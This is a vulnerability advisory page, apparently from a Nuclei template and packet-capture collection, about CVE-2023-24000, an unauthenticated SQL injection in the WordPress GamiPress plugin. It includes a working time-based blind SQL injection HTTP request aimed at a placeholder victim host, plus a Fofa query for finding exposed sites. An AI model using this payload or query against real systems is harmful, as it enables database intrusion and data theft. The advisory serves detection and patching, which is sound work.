| Title | WordPress GamiPress <= 2.5.7 - SQL Injection |
|---|---|
| Author | Shivam Kamboj |
| Severity | Critical |
| Impact | Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or database compromise. |
| Remediation | Update to the latest version of GamiPress, version 2.5.8 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.23775 |
| CVE ID | CVE-2023-24000 |
| CWE ID | CWE-89 |
| Fofa Query | body="/wp-content/plugins/gamipress/" |
| Tags | cve cve2023 wordpress wp-plugin gamipress sqli wp |
The GamiPress plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.5.7 due to insufficient escaping on the user supplied parameter ‘$qv[$field_id]’ and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
GET /wp-json/wp/v2/gamipress-logs?trigger_type[]=test')%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(6)))x)%20AND%20('a'='a HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; WOW64; rv:41.0) Gecko/20100101 Firefox/140.0.4 (x64 de)
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-24000.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-24000.pcap
N/AN/A